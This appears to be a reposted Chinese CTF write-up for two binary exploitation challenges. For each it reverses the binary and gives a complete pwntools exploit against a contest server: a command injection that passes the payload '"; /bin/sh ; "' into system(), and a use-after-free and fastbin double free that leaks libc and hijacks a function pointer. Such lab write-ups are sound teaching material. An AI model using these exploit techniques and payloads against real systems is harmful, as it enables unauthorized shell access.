内容简介:开学了,利用月赛练练手还是不错的<^_^>第一题知识点: 二进制程序的命令执行漏洞
开学了,利用月赛练练手还是不错的<^_^>
第一题知识点: 二进制程序的命令执行漏洞
一. 程序逆向分析
1.查看开启了哪些保护:
➜ ~ checksec filesystem [*] '/root/filesystem' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
可以发现只开起了canary和nx保护.
2.main函数分析
打开ida ,来到地址: 0x000000000400DB3, 这就是main函数地址, 按f5反编译查看源码:
其中init_()是被我重命名了的函数, 进行发现只是设置stdin,stdout和stderr为无缓冲模式,这样进行io操作不会在堆上分配缓冲区.
进行第二个while循环,首先puts一系列字符串, 重命名为menu.menu最后获取我们的输入:
然后比较输入和Create,Edit,Read,Checksec,Exit进行比较,从而执行对应的操作.
3.Create操作
允许最多创建0x10个所谓的file, 前0x30存放filename,后0x60存放filecontent(后面分析edit可知).
这些file存放在一个全局结构数组中, 首地址为
0x6020e0, 在ida跟进发现是个未初始化的全局变量.
4.Edit操作如下:
首先获取要编辑的file的id,这个id对应于全局结构体数组的下标,通过read函数从改结构体缓冲区的+0x30的位置开始read我们的输入,大小为0x60. 并将最后一个字符置x00.
5.Read操作就是根据输入的id输出file的filename和filecontent,比较简单
6.Checksec操作是本题的重头戏:
通过逆向得知,首先输入index,然后通过snprintf将filecontent格式化写入到局部缓冲区s中,没有任何检查就作为system的参数进行调用了. 我是通过绕过这里的字符串进行getshell的.
snprintf的功能是将第4个及以后的参数作为可变参数输入到第3个format字符串中,并将结果保存到第一个参数s中,最多0x80个字节(第二个参数). 最终的命令是:
echo “our_input” | md5sum our_input表示我们的输入, 在这里我们可以在 linux 终端下测试:
随便输入一些内容,比如abcd:
结果输出了abcd的md5值,
想到 sql 注入的双引号绕过:
发现还是不行
后来想到了;可以隔离多条命令,于是输入: “; /bin/sh ; “
果然执行了shell, 于是赶紧写出exp测试一下:
7.exp:
from pwn import * #p = process('./filesystem') p = remote('101.71.29.5', 10017) print p.recvuntil('> ') p.sendline('Create') print p.recvuntil('Input Filename: ') p.sendline('aaaaa') print p.recvuntil('> ') p.sendline('Edit') print p.recvuntil('Input the Index:') p.sendline('0') print p.recvuntil('Input File Content: ') p.sendline('"; /bin/sh ; "') print p.recvuntil('> ') p.sendline('Checksec') print p.recvuntil('Input the Index:') p.sendline('0') p.interactive() [*] Switching to interactive mode id /bin/sh: 1: id: not found whoami /bin/sh: 2: whoami: not found ls bin dev filesystem flag.txt lib lib32 lib64 cat flag.txt flag{7ee688b3ad2b8e2546d8bcdc62cdd03f}
二. hackmoon
第二题知识点: uaf, fastbin double free, unsorted_bin 泄露libc基址
1.安全检查
➜ ~ checksec hackmoon [*] '/root/hackmoon' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
没有开始pie,很nice
2.main逆向分析
这道题的逻辑还是比较简单的, 首先对stdou和stdin设置无缓冲,防止他们对堆的干扰.
然后puts一系列字符串,即为menu. 然后读取输入的操作序号选择某个操作,再执行对应函数
3.add_moon逆向分析
发现可以对moonlist写入5次,也就是最多可以add5个moon.
遍历moonlist找到第一个不为0的成员,分配一个8字节内存给它,然后对这个内存的前4字节设置为一个函数指针, 后4字节设置为分配的新内存的地址,最后填入数据到这个地址中.
从这里可以看出, moonlist是一个全局结构体数组, 结构体定义大致如下:
struct moon{ void * print_moon_content; char* moonContent; };
4.del_moon逆向分析:
还是先获取全局数组moonlist的index,然后先对moon的moonContent堆内存进行释放,然后释放moon自己, 但是并没有对这2个指针置NULL,这是导致漏洞的关键因素.
5.print_moon逆向分析
还是先获取全局数组moonlist的index, 判断moon指针是否为0,不为0则调用第一个成员(函数指针)对自己进行打印:
其实就是puts了moon的moonContent成员字符串.
6.漏洞分析
首先通过申请一个0x80的moon,然后删除,再申请,这样第二次的moonContent内容和第一次的重叠, 由于第一次的moonContent释放会被放入unsorted bin,再次申请后上面还有2个指向unsorted bin的指针数据残留, 于是通过print_moon进行泄露出unsorted bin地址,通过计算可以得到libc基址
申请2次0x20大小的moon, 再依次删除,这样fast bin 链入2个数据域大小为8字节的chunk和链入2个数据域0x20大小的chunk, 再申请一个0x8大小的moon,会从fast bin把那2个8字节的chunk给他, 于是就可以控制第一个0x20大小的moon结构体的内容了, 通过将其存放print_moon函数指针的内存改为存放system的地址, 再改存放moonContent的内存为;shx00, 当执行print_moon的时候其实执行了system,而且参数时 system_addr;shx00, 这样的思路本来是识别不了;前面的system_addr命令,但是;隔开2条命令是可以执行sh的. 这样的思路没错, 可是题目没有给libc, 就算泄露了libc基址也不知道libc版本. 我在这里想了想, 又翻了下程序发现有个magic函数,我们直接执行这个函数不就可以获取flag了:
7.exp:
from pwn import * #p = process('./hackmoon') p = remote('101.71.29.5',10016) elf = ELF('./hackmoon') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') def add(size, content): print p.recvuntil('Your choice :') p.sendline('1') print p.recvuntil('moon size :') p.sendline(str(size)) print p.recvuntil('Content :') p.send(content) def delete(index, ): print p.recvuntil('Your choice :') p.sendline('2') print p.recvuntil('Index :') p.sendline(str(index)) print p.recvuntil('Successn') return def print_(index): print p.recvuntil('Your choice :') p.sendline('3') print p.recvuntil('Index :') p.sendline(str(index)) return add(0x80,'000000') add(0x20,'1111111') #防止删除后与top chunk合并 delete(0) add(0x80,'2222') #泄露unsorted bin 地址 print_(2) print p.recvuntil('2222') unsorted_bin = p.recv(4) unsorted_bin = u32(unsorted_bin) print 'unsorted_bin: ',hex(unsorted_bin) libc_base = unsorted_bin - 0x1b27b0 #计算得到libc 基址 print 'libc_base: ', hex(libc_base) system_addr = 0x08048994#libc_base+libc.sym['system'] get_flag = 0x8048986 #magic函数地址 add(0x20,'333') delete(1) delete(3) add(0x8,p32(get_flag)+';shx00')#这里实际上修改了index为1的moon结构数据 #gdb.attach(p,'b *%s' % system_addr) print_(1) p.interactive() [*] Switching to interactive mode ls bin dev flag.txt hackmoon lib lib32 lib64 cat flag.txt flag{1dc8f4dc0a39f4d4935a0cf1e0d10811}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 2018安恒杯 - 9月月赛Writeup
- 2019安恒1月月赛Writeip-Web&Crypto&Misc
- 2019安恒2月月赛Writeip-Web&Crypto&Misc
- 你负责人工智能哪部分?人工那部分;知识图谱的构建主要靠人工还是机器?
- cocosdx接bugly,上传符号表,有一部分内容解析出来了, 另一部分没有解析出来
- GO的部分总结~
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Linux程序设计
马修 / 陈健 / 人民邮电出版社 / 2007-7 / 89.00元
《Linux 程序设计(第3版)》讲述在Linux系统及其他UNIX风格的操作系统上进行的程序开发,主要内容包括标准Linux C语言函数库和由不同的Linux或UNIX标准指定的各种工具的使用方法,大多数标准Linux开发工具的使用方法,通过DBM和MySQL数据库系统对Linux中的数据进行存储,为X视窗系统建立图形化用户界面等。《Linux 程序设计(第3版)》通过先介绍程序设计理论,再以适......一起来看看 《Linux程序设计》 这本书的介绍吧!